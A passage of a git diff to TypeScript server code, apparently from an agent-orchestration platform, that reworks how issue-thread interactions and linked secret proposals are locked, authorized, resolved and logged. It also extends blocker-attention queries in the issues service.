+      ...(args.actor.agentId ? { resolvedByAgentId: args.actor.agentId } : {}),
+      ...(args.actor.runId ? { resolvedByRunId: args.actor.runId } : {}),
       resolvedAt: args.now,
     });
     newlyResolvedItemIds.push(submitted.id);
@@ -1182,7 +1428,11 @@ async function expireStaleRequestConfirmationTarget(db: Db | any, args: {
     .returning();
 
   if (!updated) {
-    throw conflict("Interaction has already been resolved");
+    throw issueThreadInteractionResolutionError(
+      409,
+      "interaction_already_resolved",
+      "Interaction has already been resolved",
+    );
   }
   await touchIssue(db, args.row.issueId);
   const expired = hydrateInteraction(updated);
@@ -1244,7 +1494,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       .where(eq(issueThreadInteractions.id, interactionId))
       .then((rows) => rows[0] ?? null);
     if (!current || current.companyId !== issue.companyId || current.issueId !== issue.id) {
-      throw notFound("Interaction not found");
+      throw interactionNotFoundError();
     }
     return hydrateInteraction(current);
   }
@@ -1294,22 +1544,22 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       .where(eq(issueThreadInteractions.id, args.interactionId))
       .then((rows) => rows[0] ?? null);
 
-    if (!current) throw notFound("Interaction not found");
+    if (!current) throw interactionNotFoundError();
     if (current.companyId !== args.issue.companyId || current.issueId !== args.issue.id) {
-      throw notFound("Interaction not found");
+      throw interactionNotFoundError();
     }
     if (args.issue.status && isTerminalIssueStatus(args.issue.status)) {
-      throw conflict("Interaction is no longer actionable because the issue is closed");
+      throw interactionIssueClosedError();
     }
     if (current.status !== "pending") {
-      throw conflict("Interaction has already been resolved");
+      throw interactionTerminalError(current);
     }
     return current;
   }
 
   function assertIssueOpenForInteractionResolution(issue: { id: string; companyId: string; status?: string }) {
     if (issue.status && isTerminalIssueStatus(issue.status)) {
-      throw conflict("Interaction is no longer actionable because the issue is closed");
+      throw interactionIssueClosedError();
     }
   }
 
@@ -1326,21 +1576,72 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       row: args.current,
       actor: args.actor,
     });
-    if (expired) {
-      return { interaction: expired, continuationIssue: null };
-    }
+    if (expired) throw interactionTerminalError({ status: expired.status, result: expired.result });
 
-    const interaction = hydrateInteraction(args.current);
-    const selectedOptionIds =
-      interaction.kind === "request_checkbox_confirmation"
+    const now = new Date();
+    const result = await db.transaction(async (tx) => {
+      // Policy mutations and review transitions use the same issue-row lock,
+      // so the authoritative review policy and requester are stable through
+      // the verdict write. Terminal issue transitions also lock the issue
+      // before expiring linked proposals, so keep issue -> proposal ->
+      // interaction as the shared lifecycle order.
+      const issueContext = await tx
+        .select({
+          id: issues.id,
+          companyId: issues.companyId,
+          status: issues.status,
+          assigneeAgentId: issues.assigneeAgentId,
+          assigneeUserId: issues.assigneeUserId,
+          reviewPolicy: issues.reviewPolicy,
+          createdByAgentId: issues.createdByAgentId,
+          createdByUserId: issues.createdByUserId,
+        })
+        .from(issues)
+        .where(eq(issues.id, args.issue.id))
+        .for("update")
+        .then((rows: IssueResolutionContext[]) => rows[0] ?? null);
+
+      if (!issueContext || issueContext.companyId !== args.issue.companyId) {
+        throw notFound("Issue not found");
+      }
+
+      await lockLinkedSecretProposal(tx as unknown as Db, args.current);
+
+      const lockedCurrent = await tx
+        .select()
+        .from(issueThreadInteractions)
+        .where(eq(issueThreadInteractions.id, args.current.id))
+        .for("update")
+        .then((rows) => rows[0] ?? null);
+      if (
+        !lockedCurrent
+        || lockedCurrent.companyId !== args.issue.companyId
+        || lockedCurrent.issueId !== args.issue.id
+      ) {
+        throw notFound("Interaction not found");
+      }
+      if (lockedCurrent.status !== "pending") {
+        throw issueThreadInteractionResolutionError(
+          409,
+          "interaction_already_resolved",
+          "Interaction has already been resolved",
+        );
+      }
+      await assertRequestConfirmationResolutionAllowedUnderLock(
+        tx as unknown as Db,
+        issueContext,
+        lockedCurrent,
+        args.actor,
+      );
+
+      const interaction = hydrateInteraction(lockedCurrent);
+      const selectedOptionIds = interaction.kind === "request_checkbox_confirmation"
         ? resolveSelectedCheckboxConfirmationOptions({
             interaction,
             selectedOptionIds: args.input.selectedOptionIds,
           })
         : undefined;
 
-    const now = new Date();
-    const result = await db.transaction(async (tx) => {
       const [updated] = await tx
         .update(issueThreadInteractions)
         .set({
@@ -1357,41 +1658,29 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           updatedAt: now,
         })
         .where(and(
-          eq(issueThreadInteractions.id, args.current.id),
+          eq(issueThreadInteractions.id, lockedCurrent.id),
           eq(issueThreadInteractions.status, "pending"),
         ))
         .returning();
 
       if (!updated) {
-        throw conflict("Interaction has already been resolved");
-      }
-
-      const issueContext = await tx
-        .select({
-          id: issues.id,
-          companyId: issues.companyId,
-          status: issues.status,
-          assigneeAgentId: issues.assigneeAgentId,
-          assigneeUserId: issues.assigneeUserId,
-        })
-        .from(issues)
-        .where(eq(issues.id, args.issue.id))
-        .then((rows: IssueResolutionContext[]) => rows[0] ?? null);
-
-      if (!issueContext || issueContext.companyId !== args.issue.companyId) {
-        throw notFound("Issue not found");
+        throw issueThreadInteractionResolutionError(
+          409,
+          "interaction_already_resolved",
+          "Interaction has already been resolved",
+        );
       }
 
       let continuationIssue: IssueWakeTarget | null = null;
       if (shouldReturnAcceptedConfirmationToCreatorAgent({
         issue: issueContext,
-        current: args.current,
+        current: lockedCurrent,
         actor: args.actor,
       })) {
         const returnStatus = issueContext.status === "blocked" ? "blocked" : "todo";
         const returnedIssue = await issueService(db).update(args.issue.id, {
           status: returnStatus,
-          assigneeAgentId: args.current.createdByAgentId,
+          assigneeAgentId: lockedCurrent.createdByAgentId,
           assigneeUserId: null,
           actorAgentId: args.actor.agentId ?? null,
           actorUserId: args.actor.userId ?? null,
@@ -1420,12 +1709,12 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           entityType: "issue",
           entityId: args.issue.id,
           details: {
-            interactionId: args.current.id,
-            interactionKind: args.current.kind,
+            interactionId: lockedCurrent.id,
+            interactionKind: lockedCurrent.kind,
             interactionStatus: "accepted",
             resolutionActorKind: "system",
-            requestedResolverPolicy: args.current.requestedResolverPolicy,
-            effectiveResolverPolicy: args.current.effectiveResolverPolicy,
+            requestedResolverPolicy: lockedCurrent.requestedResolverPolicy,
+            effectiveResolverPolicy: lockedCurrent.effectiveResolverPolicy,
             ...(args.actor.resolutionDetails ?? {}),
           },
         });
@@ -1450,9 +1739,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       row: args.current,
       actor: args.actor,
     });
-    if (expired) {
-      return expired;
-    }
+    if (expired) throw interactionTerminalError({ status: expired.status, result: expired.result });
 
     const interaction = hydrateInteraction(args.current) as RequestConfirmationLikeInteraction;
     const reason = args.input.reason?.trim() ?? "";
@@ -1461,31 +1748,100 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
     }
 
     const now = new Date();
-    const [updated] = await db
-      .update(issueThreadInteractions)
-      .set({
+    const updated = await db.transaction(async (tx) => {
+      const issueContext = await tx
+        .select({
+          id: issues.id,
+          companyId: issues.companyId,
+          status: issues.status,
+          assigneeAgentId: issues.assigneeAgentId,
+          assigneeUserId: issues.assigneeUserId,
+          reviewPolicy: issues.reviewPolicy,
+          createdByAgentId: issues.createdByAgentId,
+          createdByUserId: issues.createdByUserId,
+        })
+        .from(issues)
+        .where(eq(issues.id, args.issue.id))
+        .for("update")
+        .then((rows: IssueResolutionContext[]) => rows[0] ?? null);
+      if (!issueContext || issueContext.companyId !== args.issue.companyId) {
+        throw notFound("Issue not found");
+      }
+
+      // Terminal issue transitions expire linked proposals while holding this
+      // issue row. Match their issue -> proposal -> interaction order so a
+      // close/cancel race cannot invert the first two locks.
+      await lockLinkedSecretProposal(tx as unknown as Db, args.current);
+
+      const lockedCurrent = await tx
+        .select()
+        .from(issueThreadInteractions)
+        .where(eq(issueThreadInteractions.id, args.current.id))
+        .for("update")
+        .then((rows) => rows[0] ?? null);
+      if (
+        !lockedCurrent
+        || lockedCurrent.companyId !== args.issue.companyId
+        || lockedCurrent.issueId !== args.issue.id
+      ) {
+        throw notFound("Interaction not found");
+      }
+      if (lockedCurrent.status !== "pending") {
+        throw issueThreadInteractionResolutionError(
+          409,
+          "interaction_already_resolved",
+          "Interaction has already been resolved",
+        );
+      }
+      await assertRequestConfirmationResolutionAllowedUnderLock(
+        tx as unknown as Db,
+        issueContext,
+        lockedCurrent,
+        args.actor,
+      );
+
+      await resolveLinkedSecretProposal(tx as unknown as Db, lockedCurrent, {
         status: "rejected",
-        result: {
-          version: 1,
-          outcome: "rejected",
-          reason: reason || null,
-        },
-        resolvedByAgentId: args.actor.agentId ?? null,
-        resolvedByRunId: args.actor.runId ?? null,
-        resolvedByUserId: args.actor.userId ?? null,
-        resolvedAt: now,
-        updatedAt: now,
-      })
-      .where(and(
-        eq(issueThreadInteractions.id, args.current.id),
-        eq(issueThreadInteractions.status, "pending"),
-      ))
-      .returning();
+        actor: args.actor,
+        reason: reason || null,
+        now,
+      });
+
+      const [resolved] = await tx
+        .update(issueThreadInteractions)
+        .set({
+          status: "rejected",
+          result: {
+            version: 1,
+            outcome: "rejected",
+            reason: reason || null,
+            ...(linkedSecretProposalId(lockedCurrent)
+              ? { secretProposal: { version: 1, status: "rejected", updatedAt: now.toISOString() } }
+              : {}),
+          },
+          resolvedByAgentId: args.actor.agentId ?? null,
+          resolvedByRunId: args.actor.runId ?? null,
+          resolvedByUserId: args.actor.userId ?? null,
+          resolvedAt: now,
+          updatedAt: now,
+        })
+        .where(and(
+          eq(issueThreadInteractions.id, lockedCurrent.id),
+          eq(issueThreadInteractions.status, "pending"),
+        ))
+        .returning();
+
+      if (!resolved) {
+        throw issueThreadInteractionResolutionError(
+          409,
+          "interaction_already_resolved",
+          "Interaction has already been resolved",
+        );
+      }
+      await touchIssue(tx, args.issue.id);
+      return resolved;
+    });
 
-    if (!updated) {
-      throw conflict("Interaction has already been resolved");
-    }
-    await touchIssue(db, args.issue.id);
     const rejected = hydrateInteraction(updated);
     await emitInteractionResolvedTelemetry(db, rejected);
     return rejected;
@@ -1658,6 +2014,126 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       return row ? hydrateInteraction(row) : null;
     },
 
+    recordSecretProposalExecutionResult: async (
+      issue: { id: string; companyId: string },
+      interactionId: string,
+      proposalId: string,
+      execution: { status: "executed" | "failed"; errorCode?: string | null },
+    ) => {
+      const updated = await db.transaction(async (tx) => {
+        // Verdict and terminal-transition paths lock issue -> proposal ->
+        // interaction. Take the same order before recording the receipt so a
+        // concurrent rejection or issue close cannot deadlock here.
+        const lockedIssue = await tx
+          .select({ id: issues.id })
+          .from(issues)
+          .where(and(
+            eq(issues.id, issue.id),
+            eq(issues.companyId, issue.companyId),
+          ))
+          .for("update")
+          .then((rows) => rows[0] ?? null);
+        if (!lockedIssue) throw notFound("Issue not found");
+
+        const proposal = await tx
+          .select()
+          .from(companySecretProposals)
+          .where(and(
+            eq(companySecretProposals.id, proposalId),
+            eq(companySecretProposals.companyId, issue.companyId),
+          ))
+          .for("update")
+          .then((rows) => rows[0] ?? null);
+        const current = await tx
+          .select()
+          .from(issueThreadInteractions)
+          .where(eq(issueThreadInteractions.id, interactionId))
+          .for("update")
+          .then((rows) => rows[0] ?? null);
+        if (!current || current.companyId !== issue.companyId || current.issueId !== issue.id) {
+          throw notFound("Interaction not found");
+        }
+        if (
+          !proposal
+          || proposal.interactionId !== interactionId
+          || current.status !== "accepted"
+          || linkedSecretProposalId(current) !== proposalId
+        ) {
+          throw conflict("Secret proposal interaction is not awaiting an execution result");
+        }
+        const now = new Date();
+        const payload = current.payload && typeof current.payload === "object" && !Array.isArray(current.payload)
+          ? current.payload as unknown as Record<string, unknown>
+          : {};
+        const secretProposalPayload = payload.secretProposal && typeof payload.secretProposal === "object"
+          && !Array.isArray(payload.secretProposal)
+          ? payload.secretProposal as Record<string, unknown>
+          : {};
+        const proposalAlreadyExecuted = proposal.status === "approved"
+          && proposal.appliedBindingConfigPath === secretProposalPayload.configPath;
+        const executionStatus = proposalAlreadyExecuted ? "executed" : execution.status;
+        if (executionStatus === "failed" && proposal.status === "pending") {
+          const resolutionReason = `Interaction acceptance failed: ${execution.errorCode ?? "secret_proposal_execution_failed"}`;
+          await tx
+            .update(companySecretProposals)
+            .set({
+              status: "rejected",
+              resolvedByUserId: current.resolvedByUserId ?? null,
+              resolvedAt: now,
+              resolutionReason,
+              valueCiphertext: null,
+              ciphertextScrubbedAt: now,
+              updatedAt: now,
+            })
+            .where(and(
+              eq(companySecretProposals.id, proposal.id),
+              eq(companySecretProposals.status, "pending"),
+            ));
+          await logActivity(tx as unknown as Db, {
+            companyId: issue.companyId,
+            actorType: current.resolvedByUserId ? "user" : "system",
+            actorId: current.resolvedByUserId ?? "system",
+            action: "secret.proposal.rejected",
+            entityType: "company_secret_proposal",
+            entityId: proposal.id,
+            agentId: proposal.proposedByAgentId,
+            runId: proposal.originRunId,
+            details: {
+              ciphertextScrubbed: true,
+              issueId: proposal.originIssueId,
+              interactionId: current.id,
+              reason: resolutionReason,
+              executionFailed: true,
+            },
+          });
+        }
+        const result = current.result && typeof current.result === "object" && !Array.isArray(current.result)
+          ? current.result as unknown as Record<string, unknown>
+          : {};
+        const [row] = await tx
+          .update(issueThreadInteractions)
+          .set({
+            result: {
+              ...result,
+              version: 1,
+              outcome: "accepted",
+              secretProposal: {
+                version: 1,
+                status: executionStatus,
+                errorCode: executionStatus === "failed" ? execution.errorCode ?? null : null,
+                updatedAt: now.toISOString(),
+              },
+            },
+            updatedAt: now,
+          })
+          .where(eq(issueThreadInteractions.id, current.id))
+          .returning();
+        await touchIssue(tx, issue.id);
+        return row;
+      });
+      return hydrateInteraction(updated);
+    },
+
     cancelPendingForDeletedAddressee: async (companyId: string, addresseeAgentId: string) => {
       const rows = await db
         .select()
@@ -1785,6 +2261,8 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       actor: InteractionActor,
     ) => {
       const data = normalizeCreateInteractionInput(createIssueThreadInteractionSchema.parse(input));
+      const usedDeprecatedResolverPolicyAlias =
+        data.resolverPolicy === "board_or_agents" || data.resolverPolicy === "board_only";
       const governance = await db
         .select({ interactionResolverGovernance: companies.interactionResolverGovernance })
         .from(companies)
@@ -1795,6 +2273,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         requested: data.resolverPolicy,
         governance,
         hasToolAction: data.kind === "request_confirmation" && data.payload.toolAction !== undefined,
+        hasSecretProposal: data.kind === "request_confirmation" && data.payload.secretProposal !== undefined,
       });
       const normalizedData = { ...data, resolverPolicy: policy.requestedResolverPolicy };
 
@@ -1805,6 +2284,9 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         if (normalizedData.kind === "request_confirmation" && normalizedData.payload.toolAction !== undefined) {
           throw unprocessable("Tool-action confirmations cannot be addressed to agents");
         }
+        if (normalizedData.kind === "request_confirmation" && normalizedData.payload.secretProposal !== undefined) {
+          throw unprocessable("Secret-proposal confirmations cannot be addressed to agents");
+        }
         const addressee = await db
           .select({
             id: agents.id,
@@ -1916,6 +2398,8 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
               continuationPolicy: data.continuationPolicy,
               requestedResolverPolicy: policy.requestedResolverPolicy,
               effectiveResolverPolicy: policy.effectiveResolverPolicy,
+              resolverPolicyProvenance: policy.resolverPolicyProvenance,
+              effectiveResolverPolicySource: policy.effectiveResolverPolicySource,
               idempotencyKey: data.idempotencyKey ?? null,
               sourceCommentId: data.sourceCommentId ?? null,
               sourceRunId: data.sourceRunId ?? null,
@@ -1935,7 +2419,10 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           // result shape. Scoped strictly to the same agent + issue + kind, so
           // other agents' or other kinds' pending cards are untouched.
           const canSupersedeSiblingCards =
-            data.kind === "request_confirmation" || data.kind === "ask_user_questions";
+            (data.kind === "request_confirmation"
+              && data.payload.toolAction === undefined
+              && data.payload.secretProposal === undefined)
+            || data.kind === "ask_user_questions";
           if (!actor.agentId || !canSupersedeSiblingCards) {
             return { row, supersededRows: [] };
           }
@@ -1997,7 +2484,12 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
       if (superseded.length > 0) {
         await emitResolvedInteractionsTelemetry(db, superseded.map(hydrateInteraction));
       }
-      return hydrateInteraction(created);
+      const interaction = hydrateInteraction(created);
+      emitInteractionCreatedTelemetry({
+        interactionKind: interaction.kind,
+        usedDeprecatedResolverPolicyAlias,
+      });
+      return interaction;
     },
 
     acceptInteraction: async (
@@ -2008,7 +2500,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
     ): Promise<ResolvedInteractionResult> => {
       const data = acceptIssueThreadInteractionSchema.parse(input);
       const current = await getPendingInteractionForResolution({ issue, interactionId });
-      assertAgentResolutionAllowed(current, actor);
+      assertInteractionResolutionAllowed(current, actor);
       switch (current.kind) {
         case "suggest_tasks":
           // Accepting suggest_tasks only creates follow-up issues; it does not
@@ -2061,16 +2553,23 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .where(eq(issueThreadInteractions.id, interactionId))
         .then((rows) => rows[0] ?? null);
 
-      if (!current) throw notFound("Interaction not found");
+      if (!current) throw interactionNotFoundError();
       if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
-        throw notFound("Interaction not found");
+        throw interactionNotFoundError();
       }
-      assertAgentResolutionAllowed(current, actor);
+      assertInteractionResolutionAllowed(current, actor);
       if (current.kind !== "suggest_tasks") {
         throw unprocessable("Only suggest_tasks interactions can be accepted");
       }
       if (current.status !== "pending") {
-        throw conflict("Interaction has already been resolved");
+        throw interactionTerminalError(current);
+      }
+      if (actor.agentId && actor.suggestedTaskEffectsAuthorized !== true) {
+        throw issueThreadInteractionResolutionError(
+          403,
+          "interaction_governed_action_denied",
+          "Suggested-task creation requires independent task-creation authorization",
+        );
       }
 
       const interaction = hydrateInteraction(current) as SuggestTasksInteraction;
@@ -2124,7 +2623,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           .returning();
 
         if (!claimed) {
-          throw conflict("Interaction has already been resolved");
+          throw interactionAlreadyResolvedError();
         }
 
         for (const task of orderedTasks) {
@@ -2210,7 +2709,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
     ) => {
       const data = rejectIssueThreadInteractionSchema.parse(input);
       const current = await getPendingInteractionForResolution({ issue, interactionId });
-      assertAgentResolutionAllowed(current, actor);
+      assertInteractionResolutionAllowed(current, actor);
       switch (current.kind) {
         case "suggest_tasks":
           return issueThreadInteractionService(db).rejectSuggestedTasks(issue, interactionId, data, actor, current);
@@ -2243,14 +2742,15 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           .for("update")
           .then((rows) => rows[0] ?? null);
 
-        if (!current) throw notFound("Interaction not found");
+        if (!current) throw interactionNotFoundError();
         if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
-          throw notFound("Interaction not found");
+          throw interactionNotFoundError();
         }
         if (current.kind !== "request_item_verdicts") {
           throw unprocessable("Only request_item_verdicts interactions can receive item verdicts");
         }
 
+        assertInteractionResolutionAllowed(current, actor);
         const interaction = hydrateInteraction(current) as RequestItemVerdictsInteraction;
         if (current.status !== "pending") {
           if (current.status === "answered") {
@@ -2261,20 +2761,24 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
                 throw unprocessable(`Unknown item verdict id: ${submitted.id}`);
               }
               if (!resolvedIds.has(submitted.id)) {
-                throw conflict("Interaction has already been resolved");
+                throw interactionTerminalError(current);
               }
             }
             return { interaction, newlyResolvedItemIds: [], resolved: false };
           }
-          throw conflict("Interaction has already been resolved");
+          throw interactionTerminalError(current);
         }
-
         const expired = await expireStaleRequestConfirmationTarget(tx, {
           row: current,
           actor,
         });
         if (expired) {
-          return { interaction: expired, newlyResolvedItemIds: [], resolved: false };
+          return {
+            interaction: expired,
+            newlyResolvedItemIds: [],
+            resolved: false,
+            terminalError: interactionTerminalError({ status: expired.status, result: expired.result }),
+          };
         }
 
         const now = new Date();
@@ -2312,7 +2816,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           .returning();
 
         if (!updated) {
-          throw conflict("Interaction has already been resolved");
+          throw interactionAlreadyResolvedError();
         }
 
         await touchIssue(tx, issue.id);
@@ -2323,6 +2827,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         };
       });
 
+      if ("terminalError" in submission) throw submission.terminalError;
       if (submission.resolved) {
         await emitInteractionResolvedTelemetry(db, submission.interaction);
       }
@@ -2338,13 +2843,13 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
     ) => {
       assertIssueOpenForInteractionResolution(issue);
       if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
-        throw notFound("Interaction not found");
+        throw interactionNotFoundError();
       }
       if (current.kind !== "suggest_tasks") {
         throw unprocessable("Only suggest_tasks interactions can be rejected");
       }
       if (current.status !== "pending") {
-        throw conflict("Interaction has already been resolved");
+        throw interactionTerminalError(current);
       }
 
       const [updated] = await db
@@ -2368,7 +2873,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .returning();
 
       if (!updated) {
-        throw conflict("Interaction has already been resolved");
+        throw interactionAlreadyResolvedError();
       }
 
       await touchIssue(db, issue.id);
@@ -2686,6 +3191,12 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
             actor,
             now,
           });
+          await resolveLinkedSecretProposal(tx as unknown as Db, row, {
+            status: "expired",
+            actor,
+            reason: "Issue closed before the secret proposal was resolved",
+            now,
+          });
           const [resolved] = await tx
             .update(issueThreadInteractions)
             .set({
@@ -2730,9 +3241,9 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .where(eq(issueThreadInteractions.id, interactionId))
         .then((rows) => rows[0] ?? null);
       if (!current || current.companyId !== issue.companyId || current.issueId !== issue.id) {
-        throw notFound("Interaction not found");
+        throw interactionNotFoundError();
       }
-      if (current.status !== "pending") throw conflict("Interaction has already been resolved");
+      if (current.status !== "pending") throw interactionTerminalError(current);
 
       const reason = data.reason?.trim() || null;
       const now = new Date();
@@ -2751,6 +3262,12 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
           actor,
           now,
         });
+        await resolveLinkedSecretProposal(tx as unknown as Db, current, {
+          status: "withdrawn",
+          actor,
+          reason,
+          now,
+        });
         if (current.kind === "request_confirmation") {
           const active = await tx
             .select({ id: toolActionRequests.id })
@@ -2779,7 +3296,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
             eq(issueThreadInteractions.status, "pending"),
           ))
           .returning();
-        if (!row) throw conflict("Interaction has already been resolved");
+        if (!row) throw interactionAlreadyResolvedError();
         return row;
       });
 
@@ -2802,16 +3319,16 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .where(eq(issueThreadInteractions.id, interactionId))
         .then((rows) => rows[0] ?? null);
 
-        if (!current) throw notFound("Interaction not found");
-        if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
-          throw notFound("Interaction not found");
-        }
-        assertAgentResolutionAllowed(current, actor);
+      if (!current) throw interactionNotFoundError();
+      if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
+        throw interactionNotFoundError();
+      }
+      assertInteractionResolutionAllowed(current, actor);
       if (current.kind !== "ask_user_questions") {
         throw unprocessable("Only ask_user_questions interactions can be answered");
       }
       if (current.status !== "pending") {
-        throw conflict("Interaction has already been resolved");
+        throw interactionTerminalError(current);
       }
 
       const interaction = hydrateInteraction(current) as AskUserQuestionsInteraction;
@@ -2829,8 +3346,8 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
             answers: normalizedAnswers,
             summaryMarkdown: input.summaryMarkdown ?? null,
           },
-            resolvedByAgentId: actor.agentId ?? null,
-            resolvedByRunId: actor.runId ?? null,
+          resolvedByAgentId: actor.agentId ?? null,
+          resolvedByRunId: actor.runId ?? null,
           resolvedByUserId: actor.userId ?? null,
           resolvedAt: new Date(),
           updatedAt: new Date(),
@@ -2842,7 +3359,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .returning();
 
       if (!updated) {
-        throw conflict("Interaction has already been resolved");
+        throw interactionAlreadyResolvedError();
       }
 
       await touchIssue(db, issue.id);
@@ -2865,15 +3382,15 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .where(eq(issueThreadInteractions.id, interactionId))
         .then((rows) => rows[0] ?? null);
 
-      if (!current) throw notFound("Interaction not found");
+      if (!current) throw interactionNotFoundError();
       if (current.companyId !== issue.companyId || current.issueId !== issue.id) {
-        throw notFound("Interaction not found");
+        throw interactionNotFoundError();
       }
       if (current.kind !== "ask_user_questions") {
         throw unprocessable("Only ask_user_questions interactions can be cancelled");
       }
       if (current.status !== "pending") {
-        throw conflict("Interaction has already been resolved");
+        throw interactionTerminalError(current);
       }
 
       const reason = data.reason?.trim() || null;
@@ -2901,7 +3418,7 @@ export function issueThreadInteractionService(db: Db, opts: IssueThreadInteracti
         .returning();
 
       if (!updated) {
-        throw conflict("Interaction has already been resolved");
+        throw interactionAlreadyResolvedError();
       }
 
       await touchIssue(db, issue.id);
diff --git a/server/src/services/issues.ts b/server/src/services/issues.ts
index 93b67e052d2..39d2f2545b7 100644
--- a/server/src/services/issues.ts
+++ b/server/src/services/issues.ts
@@ -1,6 +1,6 @@
 import { Buffer } from "node:buffer";
 import { createHash, randomUUID } from "node:crypto";
-import { and, asc, desc, eq, gt, gte, inArray, isNull, like, lt, ne, notInArray, or, sql, type SQL } from "drizzle-orm";
+import { and, asc, desc, eq, gt, gte, inArray, isNotNull, isNull, like, lt, ne, notInArray, or, sql, type SQL } from "drizzle-orm";
 import type { Db } from "@paperclipai/db";
 import {
   activityLog,
@@ -130,6 +130,7 @@ import {
   type ActivityPublication,
 } from "./activity-log.js";
 import { buildIssueChanges } from "./issue-change-receipt.js";
+import { issueThreadInteractionAttentionAgentAllowed } from "./issue-thread-interaction-resolution.js";
 
 const ALL_ISSUE_STATUSES = ["backlog", "todo", "in_progress", "in_review", "blocked", "done", "cancelled"];
 const MAX_ISSUE_COMMENT_PAGE_LIMIT = 500;
@@ -337,6 +338,7 @@ function buildPreRealizationExecutionWorkspaceSettings(raw: unknown): Record<str
       type: settings.workspaceStrategy.type,
       ...(settings.workspaceStrategy.baseRef ? { baseRef: settings.workspaceStrategy.baseRef } : {}),
       ...(settings.workspaceStrategy.branchTemplate ? { branchTemplate: settings.workspaceStrategy.branchTemplate } : {}),
+      ...(settings.workspaceStrategy.existingBranch ? { existingBranch: settings.workspaceStrategy.existingBranch } : {}),
       ...(settings.workspaceStrategy.worktreeParentDir ? { worktreeParentDir: settings.workspaceStrategy.worktreeParentDir } : {}),
       ...(settings.workspaceStrategy.provisionCommand ? { provisionCommand: settings.workspaceStrategy.provisionCommand } : {}),
       ...(settings.workspaceStrategy.runtimeProvisionCommand
@@ -2094,7 +2096,9 @@ function createIssueBlockerAttention(input: Partial<IssueBlockerAttention> = {})
     sampleBlockerIdentifier: input.sampleBlockerIdentifier ?? null,
     sampleStalledBlockerIdentifier: input.sampleStalledBlockerIdentifier ?? null,
     blockingTreeLive: input.blockingTreeLive ?? false,
+    directBlockerIssueId: input.directBlockerIssueId ?? null,
     terminalBlockerIssueId: input.terminalBlockerIssueId ?? null,
+    terminalBlocker: input.terminalBlocker ?? null,
   };
 }
 
@@ -2550,8 +2554,22 @@ async function listIssueBlockerAttentionMap(
       explicitWaitingIssueIds.add(parsed.leafIssueId);
     }
 
-    const recoveryActionRows: Array<{ sourceIssueId: string }> = await dbOrTx
-      .select({ sourceIssueId: issueRecoveryActions.sourceIssueId })
+    const recoveryActionRows: Array<{
+      id: string;
+      sourceIssueId: string;
+      status: string;
+      ownerType: string;
+      ownerAgentId: string | null;
+      ownerUserId: string | null;
+    }> = await dbOrTx
+      .select({
+        id: issueRecoveryActions.id,
+        sourceIssueId: issueRecoveryActions.sourceIssueId,
+        status: issueRecoveryActions.status,
+        ownerType: issueRecoveryActions.ownerType,
+        ownerAgentId: issueRecoveryActions.ownerAgentId,
+        ownerUserId: issueRecoveryActions.ownerUserId,
+      })
       .from(issueRecoveryActions)
       .where(
         and(
@@ -2560,7 +2578,38 @@ async function listIssueBlockerAttentionMap(
           inArray(issueRecoveryActions.sourceIssueId, explicitWaitCandidateIds),
         ),
       );
-    for (const row of recoveryActionRows) explicitWaitingIssueIds.add(row.sourceIssueId);
+    const recoveryActionIds = recoveryActionRows.map((row) => row.id);
+    const liveRecoveryActionIds = new Set<string>();
+    for (const chunk of chunkList(recoveryActionIds, ISSUE_LIST_RELATED_QUERY_CHUNK_SIZE)) {
+      const [runRows, wakeRows] = await Promise.all([
+        dbOrTx
+          .select({ recoveryActionId: sql<string | null>`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId'` })
+          .from(heartbeatRuns)
+          .where(and(
+            eq(heartbeatRuns.companyId, companyId),
+            inArray(heartbeatRuns.status, BLOCKER_ATTENTION_ACTIVE_RUN_STATUSES),
+            inArray(sql<string>`${heartbeatRuns.contextSnapshot} ->> 'recoveryActionId'`, chunk),
+          )),
+        dbOrTx
+          .select({ recoveryActionId: sql<string | null>`${agentWakeupRequests.payload} ->> 'recoveryActionId'` })
+          .from(agentWakeupRequests)
+          .where(and(
+            eq(agentWakeupRequests.companyId, companyId),
+            inArray(agentWakeupRequests.status, BLOCKER_ATTENTION_ACTIVE_WAKE_STATUSES),
+            inArray(sql<string>`${agentWakeupRequests.payload} ->> 'recoveryActionId'`, chunk),
+          )),
+      ]);
